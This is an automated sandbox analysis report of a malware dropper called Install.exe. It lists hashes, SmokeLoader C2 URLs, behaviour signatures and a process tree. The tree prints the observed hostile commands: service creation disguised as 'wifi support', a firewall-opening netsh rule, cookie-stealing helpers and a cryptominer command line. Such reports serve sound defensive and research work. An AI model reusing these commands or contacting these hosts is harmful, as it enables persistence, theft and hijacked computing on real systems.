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Analysis

  • max time kernel
    48s
  • max time network
    303s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    11-05-2021 13:56

General

  • Target

    Install.exe

  • Size

    497KB

  • MD5

    41a5f4fd1ea7cac4aa94a87aebccfef0

  • SHA1

    0d0abf079413a4c773754bf4fda338dc5b9a8ddc

  • SHA256

    97e95e99fd499ec45a7c1d8683d5731ce5e7a8fb8b710622e578cd169a00d8d9

  • SHA512

    5ca14bda498f26efff4e1179969b8f2c25244063c7bf25f3ec20b5cd24b5be320bbfb8b3d0b2d66f5c5b415da777a766fece5f251a4247773c6cb991417fb75f

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://999080321newfolder1002002131-service1002.space/

http://999080321newfolder1002002231-service1002.space/

http://999080321newfolder3100231-service1002.space/

http://999080321newfolder1002002431-service1002.space/

http://999080321newfolder1002002531-service1002.space/

http://999080321newfolder33417-012425999080321.space/

http://999080321test125831-service10020125999080321.space/

http://999080321test136831-service10020125999080321.space/

http://999080321test147831-service10020125999080321.space/

http://999080321test146831-service10020125999080321.space/

http://999080321test134831-service10020125999080321.space/

http://999080321est213531-service1002012425999080321.ru/

http://999080321yes1t3481-service10020125999080321.ru/

http://999080321test13561-service10020125999080321.su/

http://999080321test14781-service10020125999080321.info/

http://999080321test13461-service10020125999080321.net/

http://999080321test15671-service10020125999080321.tech/

http://999080321test12671-service10020125999080321.online/

http://999080321utest1341-service10020125999080321.ru/

http://999080321uest71-service100201dom25999080321.ru/

rc4.i32
rc4.i32

Signatures

  • Detected facebook phishing page
  • PlugX

    PlugX is a RAT (Remote Access Trojan) that has been around since 2008.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Blocklisted process makes network request 44 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 21 IoCs
  • Modifies Windows Firewall 1 TTPs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 29 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 8 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 15 IoCs
  • Drops file in Windows directory 33 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 17 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
    1⤵
      PID:1008
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
      1⤵
        PID:1824
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
        1⤵
          PID:2376
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s WpnService
          1⤵
            PID:2632
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
            1⤵
              PID:2624
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s Browser
              1⤵
                PID:2536
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                1⤵
                  PID:2336
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s SENS
                  1⤵
                    PID:1368
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                    1⤵
                      PID:1260
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s Themes
                      1⤵
                        PID:1236
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                        1⤵
                          PID:1064
                        • c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                          1⤵
                          • Drops file in System32 directory
                          PID:964
                        • C:\Users\Admin\AppData\Local\Temp\Install.exe
                          "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:796
                          • C:\Users\Admin\AppData\Local\Temp\is-B3MO0.tmp\Install.tmp
                            "C:\Users\Admin\AppData\Local\Temp\is-B3MO0.tmp\Install.tmp" /SL5="$201C2,235791,152064,C:\Users\Admin\AppData\Local\Temp\Install.exe"
                            2⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Suspicious use of WriteProcessMemory
                            PID:1804
                            • C:\Users\Admin\AppData\Local\Temp\is-G181E.tmp\Ultra.exe
                              "C:\Users\Admin\AppData\Local\Temp\is-G181E.tmp\Ultra.exe" /S /UID=burnerch1
                              3⤵
                              • Drops file in Drivers directory
                              • Executes dropped EXE
                              • Adds Run key to start application
                              • Drops file in Program Files directory
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of WriteProcessMemory
                              PID:3204
                              • C:\Program Files\VideoLAN\OCKXMXZSWJ\ultramediaburner.exe
                                "C:\Program Files\VideoLAN\OCKXMXZSWJ\ultramediaburner.exe" /VERYSILENT
                                4⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:2752
                                • C:\Users\Admin\AppData\Local\Temp\is-0NNUP.tmp\ultramediaburner.tmp
                                  "C:\Users\Admin\AppData\Local\Temp\is-0NNUP.tmp\ultramediaburner.tmp" /SL5="$A0064,281924,62464,C:\Program Files\VideoLAN\OCKXMXZSWJ\ultramediaburner.exe" /VERYSILENT
                                  5⤵
                                  • Executes dropped EXE
                                  • Drops file in Program Files directory
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of WriteProcessMemory
                                  PID:1364
                                  • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                    "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                    6⤵
                                    • Executes dropped EXE
                                    PID:3428
                              • C:\Users\Admin\AppData\Local\Temp\c9-6d872-02e-ba191-f83ec8f909726\Matunikyha.exe
                                "C:\Users\Admin\AppData\Local\Temp\c9-6d872-02e-ba191-f83ec8f909726\Matunikyha.exe"
                                4⤵
                                • Executes dropped EXE
                                • Checks computer location settings
                                • Modifies system certificate store
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2596
                              • C:\Users\Admin\AppData\Local\Temp\53-bc9bd-5fe-cc79b-f5a9aff8c2c97\Juhuwyxesu.exe
                                "C:\Users\Admin\AppData\Local\Temp\53-bc9bd-5fe-cc79b-f5a9aff8c2c97\Juhuwyxesu.exe"
                                4⤵
                                • Executes dropped EXE
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of WriteProcessMemory
                                PID:3748
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vt55a3ga.tpm\001.exe & exit
                                  5⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:4240
                                  • C:\Users\Admin\AppData\Local\Temp\vt55a3ga.tpm\001.exe
                                    C:\Users\Admin\AppData\Local\Temp\vt55a3ga.tpm\001.exe
                                    6⤵
                                    • Executes dropped EXE
                                    PID:4464
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\knvsw44q.fpk\installer.exe /qn CAMPAIGN="654" & exit
                                  5⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:4608
                                  • C:\Users\Admin\AppData\Local\Temp\knvsw44q.fpk\installer.exe
                                    C:\Users\Admin\AppData\Local\Temp\knvsw44q.fpk\installer.exe /qn CAMPAIGN="654"
                                    6⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • Enumerates connected drives
                                    • Modifies system certificate store
                                    • Suspicious use of AdjustPrivilegeToken
                                    • Suspicious use of FindShellTrayWindow
                                    • Suspicious use of WriteProcessMemory
                                    PID:4820
                                    • C:\Windows\SysWOW64\msiexec.exe
                                      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\knvsw44q.fpk\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\knvsw44q.fpk\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1620481983 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
                                      7⤵
                                        PID:4828
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\c3zbjezt.0pl\hbggg.exe & exit
                                    5⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:5080
                                    • C:\Users\Admin\AppData\Local\Temp\c3zbjezt.0pl\hbggg.exe
                                      C:\Users\Admin\AppData\Local\Temp\c3zbjezt.0pl\hbggg.exe
                                      6⤵
                                      • Executes dropped EXE
                                      • Adds Run key to start application
                                      • Suspicious use of WriteProcessMemory
                                      PID:4152
                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                        7⤵
                                        • Executes dropped EXE
                                        PID:4420
                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                        7⤵
                                        • Executes dropped EXE
                                        PID:4368
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qc30jm4b.4gp\google-game.exe & exit
                                    5⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:5092
                                    • C:\Users\Admin\AppData\Local\Temp\qc30jm4b.4gp\google-game.exe
                                      C:\Users\Admin\AppData\Local\Temp\qc30jm4b.4gp\google-game.exe
                                      6⤵
                                      • Executes dropped EXE
                                      • Checks computer location settings
                                      • Suspicious use of WriteProcessMemory
                                      PID:4228
                                      • C:\Windows\SysWOW64\rUNdlL32.eXe
                                        "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",install
                                        7⤵
                                        • Loads dropped DLL
                                        • Suspicious use of WriteProcessMemory
                                        PID:4704
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1wmvaavn.03a\huesaa.exe & exit
                                    5⤵
                                      PID:4772
                                      • C:\Users\Admin\AppData\Local\Temp\1wmvaavn.03a\huesaa.exe
                                        C:\Users\Admin\AppData\Local\Temp\1wmvaavn.03a\huesaa.exe
                                        6⤵
                                        • Executes dropped EXE
                                        PID:5268
                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                          7⤵
                                            PID:4596
                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                            7⤵
                                              PID:1708
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ujp412hl.zs3\setup.exe & exit
                                          5⤵
                                            PID:5548
                                            • C:\Users\Admin\AppData\Local\Temp\ujp412hl.zs3\setup.exe
                                              C:\Users\Admin\AppData\Local\Temp\ujp412hl.zs3\setup.exe
                                              6⤵
                                              • Executes dropped EXE
                                              PID:5632
                                              • C:\Windows\SysWOW64\cmd.exe
                                                cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\ujp412hl.zs3\setup.exe"
                                                7⤵
                                                  PID:5852
                                                  • C:\Windows\SysWOW64\PING.EXE
                                                    ping 1.1.1.1 -n 1 -w 3000
                                                    8⤵
                                                    • Runs ping.exe
                                                    PID:5940
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ip0hryc4.qnp\askinstall39.exe & exit
                                              5⤵
                                                PID:5788
                                                • C:\Users\Admin\AppData\Local\Temp\ip0hryc4.qnp\askinstall39.exe
                                                  C:\Users\Admin\AppData\Local\Temp\ip0hryc4.qnp\askinstall39.exe
                                                  6⤵
                                                  • Executes dropped EXE
                                                  PID:5864
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    cmd.exe /c taskkill /f /im chrome.exe
                                                    7⤵
                                                      PID:4320
                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                        taskkill /f /im chrome.exe
                                                        8⤵
                                                        • Kills process with taskkill
                                                        PID:5476
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4mt22zeb.bms\PcCleanerPro.exe & exit
                                                  5⤵
                                                    PID:5520
                                                    • C:\Users\Admin\AppData\Local\Temp\4mt22zeb.bms\PcCleanerPro.exe
                                                      C:\Users\Admin\AppData\Local\Temp\4mt22zeb.bms\PcCleanerPro.exe
                                                      6⤵
                                                      • Executes dropped EXE
                                                      PID:5652
                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe"
                                                        7⤵
                                                        • Executes dropped EXE
                                                        • Checks whether UAC is enabled
                                                        PID:5740
                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\askinstall20.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\askinstall20.exe"
                                                        7⤵
                                                          PID:5452
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            cmd.exe /c taskkill /f /im chrome.exe
                                                            8⤵
                                                              PID:2568
                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                taskkill /f /im chrome.exe
                                                                9⤵
                                                                • Kills process with taskkill
                                                                PID:6112
                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\zhoumin.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX0\zhoumin.exe"
                                                            7⤵
                                                              PID:5848
                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                "C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\install.dll",install
                                                                8⤵
                                                                  PID:5932
                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\gcttt.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\RarSFX0\gcttt.exe"
                                                                7⤵
                                                                  PID:4316
                                                                  • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                    8⤵
                                                                      PID:6100
                                                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                      8⤵
                                                                        PID:5824
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\c2radelf.tih\customer1.exe & exit
                                                                  5⤵
                                                                    PID:6060
                                                                    • C:\Users\Admin\AppData\Local\Temp\c2radelf.tih\customer1.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\c2radelf.tih\customer1.exe
                                                                      6⤵
                                                                      • Executes dropped EXE
                                                                      PID:5280
                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                        7⤵
                                                                          PID:5284
                                                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                          7⤵
                                                                            PID:5376
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mqtu54q2.zop\toolspab1.exe & exit
                                                                        5⤵
                                                                          PID:5628
                                                                          • C:\Users\Admin\AppData\Local\Temp\mqtu54q2.zop\toolspab1.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\mqtu54q2.zop\toolspab1.exe
                                                                            6⤵
                                                                            • Executes dropped EXE
                                                                            • Suspicious use of SetThreadContext
                                                                            PID:5952
                                                                            • C:\Users\Admin\AppData\Local\Temp\mqtu54q2.zop\toolspab1.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\mqtu54q2.zop\toolspab1.exe
                                                                              7⤵
                                                                              • Executes dropped EXE
                                                                              • Loads dropped DLL
                                                                              • Checks SCSI registry key(s)
                                                                              PID:4564
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ik1tznfn.w0q\GcleanerWW.exe /mixone & exit
                                                                          5⤵
                                                                          • Blocklisted process makes network request
                                                                          • Checks computer location settings
                                                                          • Checks whether UAC is enabled
                                                                          • Modifies Internet Explorer settings
                                                                          • Modifies registry class
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:4288
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ni1kw4mf.ero\005.exe & exit
                                                                          5⤵
                                                                            PID:3820
                                                                            • C:\Users\Admin\AppData\Local\Temp\ni1kw4mf.ero\005.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\ni1kw4mf.ero\005.exe
                                                                              6⤵
                                                                                PID:812
                                                                    • \??\c:\windows\system32\svchost.exe
                                                                      c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                      1⤵
                                                                      • Suspicious use of SetThreadContext
                                                                      • Modifies data under HKEY_USERS
                                                                      • Modifies registry class
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:1792
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                        2⤵
                                                                        • Drops file in System32 directory
                                                                        • Checks processor information in registry
                                                                        • Modifies data under HKEY_USERS
                                                                        • Modifies registry class
                                                                        PID:4980
                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                      1⤵
                                                                      • Drops file in Windows directory
                                                                      • Modifies Internet Explorer settings
                                                                      • Modifies registry class
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      • Suspicious use of SetWindowsHookEx
                                                                      PID:3384
                                                                    • C:\Windows\system32\browser_broker.exe
                                                                      C:\Windows\system32\browser_broker.exe -Embedding
                                                                      1⤵
                                                                      • Modifies Internet Explorer settings
                                                                      PID:4108
                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                      1⤵
                                                                      • Modifies registry class
                                                                      • Suspicious use of SetWindowsHookEx
                                                                      PID:4888
                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                      1⤵
                                                                        PID:4288
                                                                      • C:\Windows\system32\msiexec.exe
                                                                        C:\Windows\system32\msiexec.exe /V
                                                                        1⤵
                                                                        • Enumerates connected drives
                                                                        • Drops file in Program Files directory
                                                                        • Drops file in Windows directory
                                                                        • Modifies data under HKEY_USERS
                                                                        • Modifies registry class
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        • Suspicious use of WriteProcessMemory
                                                                        PID:4496
                                                                        • C:\Windows\syswow64\MsiExec.exe
                                                                          C:\Windows\syswow64\MsiExec.exe -Embedding 2CFC4AA5D9D9F99B3B872E107A9DE6D4 C
                                                                          2⤵
                                                                          • Loads dropped DLL
                                                                          PID:5056
                                                                        • C:\Windows\syswow64\MsiExec.exe
                                                                          C:\Windows\syswow64\MsiExec.exe -Embedding 39050C768977B6A509F07816AFDDEA01
                                                                          2⤵
                                                                          • Blocklisted process makes network request
                                                                          • Loads dropped DLL
                                                                          PID:4524
                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                            "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
                                                                            3⤵
                                                                            • Kills process with taskkill
                                                                            PID:4452
                                                                        • C:\Windows\syswow64\MsiExec.exe
                                                                          C:\Windows\syswow64\MsiExec.exe -Embedding 941AC49BFB6DC204ABC2C620566F0F3B E Global\MSI0000
                                                                          2⤵
                                                                          • Loads dropped DLL
                                                                          PID:6040
                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                        1⤵
                                                                          PID:5480
                                                                        • C:\Users\Admin\AppData\Local\Temp\4AA6.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\4AA6.exe
                                                                          1⤵
                                                                            PID:5180
                                                                          • C:\Users\Admin\AppData\Local\Temp\549A.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\549A.exe
                                                                            1⤵
                                                                              PID:5224
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jmqrzvsh\
                                                                                2⤵
                                                                                  PID:4644
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xrritctv.exe" C:\Windows\SysWOW64\jmqrzvsh\
                                                                                  2⤵
                                                                                    PID:4700
                                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                                    "C:\Windows\System32\sc.exe" create jmqrzvsh binPath= "C:\Windows\SysWOW64\jmqrzvsh\xrritctv.exe /d\"C:\Users\Admin\AppData\Local\Temp\549A.exe\"" type= own start= auto DisplayName= "wifi support"
                                                                                    2⤵
                                                                                      PID:5764
                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                      "C:\Windows\System32\sc.exe" description jmqrzvsh "wifi internet conection"
                                                                                      2⤵
                                                                                        PID:3100
                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                        "C:\Windows\System32\sc.exe" start jmqrzvsh
                                                                                        2⤵
                                                                                          PID:5696
                                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                                          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                                                                          2⤵
                                                                                            PID:2572
                                                                                        • C:\Users\Admin\AppData\Local\Temp\5FC6.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\5FC6.exe
                                                                                          1⤵
                                                                                            PID:5152
                                                                                          • C:\Windows\SysWOW64\explorer.exe
                                                                                            C:\Windows\SysWOW64\explorer.exe
                                                                                            1⤵
                                                                                              PID:2212
                                                                                            • C:\Windows\explorer.exe
                                                                                              C:\Windows\explorer.exe
                                                                                              1⤵
                                                                                                PID:3904
                                                                                              • C:\Windows\SysWOW64\explorer.exe
                                                                                                C:\Windows\SysWOW64\explorer.exe
                                                                                                1⤵
                                                                                                  PID:5036
                                                                                                • C:\Windows\explorer.exe
                                                                                                  C:\Windows\explorer.exe
                                                                                                  1⤵
                                                                                                    PID:5556
                                                                                                  • C:\Windows\SysWOW64\jmqrzvsh\xrritctv.exe
                                                                                                    C:\Windows\SysWOW64\jmqrzvsh\xrritctv.exe /d"C:\Users\Admin\AppData\Local\Temp\549A.exe"
                                                                                                    1⤵
                                                                                                      PID:5512
                                                                                                      • C:\Windows\SysWOW64\svchost.exe
                                                                                                        svchost.exe
                                                                                                        2⤵
                                                                                                          PID:4824
                                                                                                          • C:\Windows\SysWOW64\svchost.exe
                                                                                                            svchost.exe -o masari.miner.rocks:30162 -u 9rqX2BQ6Z4teAkaSqGBWvPZEM7bAtidewXXjYz86pVgKUQqDHeUqjy55fXt2fJAaJkPBteXWhptFqJVSr132QxsSSGfMCgw.50000 -p w=a -k -a cn/half
                                                                                                            3⤵
                                                                                                              PID:956
                                                                                                        • C:\Windows\SysWOW64\explorer.exe
                                                                                                          C:\Windows\SysWOW64\explorer.exe
                                                                                                          1⤵
                                                                                                            PID:4480
                                                                                                          • C:\Windows\explorer.exe
                                                                                                            C:\Windows\explorer.exe
                                                                                                            1⤵
                                                                                                              PID:4280
                                                                                                            • C:\Windows\SysWOW64\explorer.exe
                                                                                                              C:\Windows\SysWOW64\explorer.exe
                                                                                                              1⤵
                                                                                                                PID:4688
                                                                                                              • C:\Windows\explorer.exe
                                                                                                                C:\Windows\explorer.exe
                                                                                                                1⤵
                                                                                                                  PID:5960
                                                                                                                • C:\Windows\SysWOW64\explorer.exe
                                                                                                                  C:\Windows\SysWOW64\explorer.exe
                                                                                                                  1⤵
                                                                                                                    PID:5704

                                                                                                                  Network

                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                  Replay Monitor

                                                                                                                  Loading Replay Monitor...

                                                                                                                  Downloads

                                                                                                                  • memory/796-114-0x0000000000400000-0x000000000042B000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    172KB

                                                                                                                  • memory/964-214-0x0000028D5D180000-0x0000028D5D1F0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/1008-247-0x00000133CC560000-0x00000133CC5D0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/1008-351-0x00000133CCC40000-0x00000133CCCB0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/1064-258-0x0000021D7A270000-0x0000021D7A2E0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/1064-357-0x0000021D7A350000-0x0000021D7A3C0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/1236-236-0x00000145B3CA0000-0x00000145B3D10000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/1260-241-0x00000261A8860000-0x00000261A88D0000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    448KB

                                                                                                                  • memory/1364-136-0x00000000001F0000-0x00000000001F1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4KB

                                                                                                                  • memory/1368-217-0x00000235F8F00000-0x00000235F8F4B000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    300KB

                                                                                                                  • memory/1368-220-0x00000235F9560000-0x00000235F95D0000-memory.dmp

                                                                                                                    Filesize

